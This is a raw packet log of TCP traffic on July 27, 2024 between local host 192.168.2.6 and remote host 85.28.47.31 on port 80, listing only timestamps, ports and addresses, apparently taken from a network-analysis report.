Jul 27, 2024 03:19:14.119232893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.190121889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190131903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190139055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190155029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190222025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190236092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190249920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190263987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190279007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190294027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190308094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190325022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190342903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.190342903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.190386057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.190386057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.190462112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190479040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190495014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.190531015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.190531015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.191195011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.191211939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.191237926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.191257954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.191276073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.191282034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.191282034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.191333055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.191333055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.191378117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.191395998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.191411972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.191438913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.191438913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.191514969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.191538095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.191555023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.191572905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.191598892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.191598892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.191615105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.191911936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.191927910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.191951036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.191978931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.191979885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.191993952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.192085981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.192186117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.192229033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.192245960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.192261934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.192277908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.192293882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.192296028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.192296028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.192311049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.192327976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.192344904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.192351103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.192351103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.192403078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.192403078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.192641973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.192658901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.192675114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.192709923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.192709923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.200365067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.200382948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.200400114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.200414896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.200432062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.200448036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.200459957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.200459957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.200465918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.200501919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.200501919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.201209068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.201239109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.201267958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.201291084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.201291084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.201299906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.201330900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.201342106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.201342106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.201361895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.201391935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.201409101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.201409101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.201527119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.201555967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.201575994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.201575994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.201586008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.201632977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.201632977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203316927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203361034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203428984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203440905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203490019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203490019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203494072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203524113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203547955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203552008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203579903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203583002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203608036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203629017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203644991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203658104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203686953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203694105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203733921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203736067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203736067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203763962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203789949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203794956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203825951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203856945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203856945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203871012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203876972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203902006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203927040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203933001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203963041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.203984976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203984976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.203993082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.204022884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.204037905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.204037905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.204054117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.204078913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.204083920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.204107046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.204114914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.204143047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.204145908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.204171896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.204178095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.204196930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.204210043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.204235077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.204241037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.204267025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.204273939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.204299927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.204329014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.206717968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.207006931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.207098007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.207127094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.207155943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.207185984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.207216978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.207247972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.207257032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.207257986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.207257986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.207257986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.207257986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.207278013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.207288027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.207308054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.207343102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.207357883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.207357883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.207371950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.207401991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.207417011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.207417011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.207513094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.208230972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.208499908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.271979094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272027016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272043943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272068024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272073030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272073030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272073030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272090912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272105932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272109032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272149086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272149086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272517920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272552967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272600889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272600889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272604942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272620916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272655010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272667885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272702932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272702932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272809029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272824049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272840023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272851944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272851944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272854090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272871017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.272882938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272882938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272912979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.272912979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.278724909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.278747082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.278760910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.278779984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.278794050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.278829098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.278848886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.278863907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.278876066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.278876066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.278903961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.278903961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.278954029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.278969049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.278975964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.278997898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.279011965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.279021978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.279026985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.279046059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.279062033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.279062033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.279088974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.279687881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.279721975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.279769897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.279772043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.279772043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.279803038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.279849052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.279849052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.279853106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.279886007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.279917955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.279931068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.279931068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.279949903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.279998064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.279998064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280277967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280312061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280344009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280356884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280356884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280376911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280425072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280426025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280425072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280461073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280499935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280499935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280514002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280546904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280587912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280587912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280596018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280653954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280654907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280687094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280720949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280730009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280730009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280752897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280786991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280801058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280801058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280834913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280843973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280869007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280903101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280915022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280915022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280935049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280957937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.280967951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.280987978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.281001091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.281028986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.281034946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.281056881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.281094074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.281188011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.281220913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.281286955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.281286955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.288764954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.288800001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.288832903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.288855076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.288855076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.288929939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.288933039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.288964033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.288988113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.288999081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.289031029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.289038897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.289038897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.289064884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.289087057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.289119005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.289227009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.289258957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.289288044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.289292097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.289316893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.289326906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.289361000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.289372921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.289372921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.289396048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.289439917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.289439917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.290919065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.290968895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291018963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.291049957 CEST	80	49710	85.28.47.31	192.168.2.6
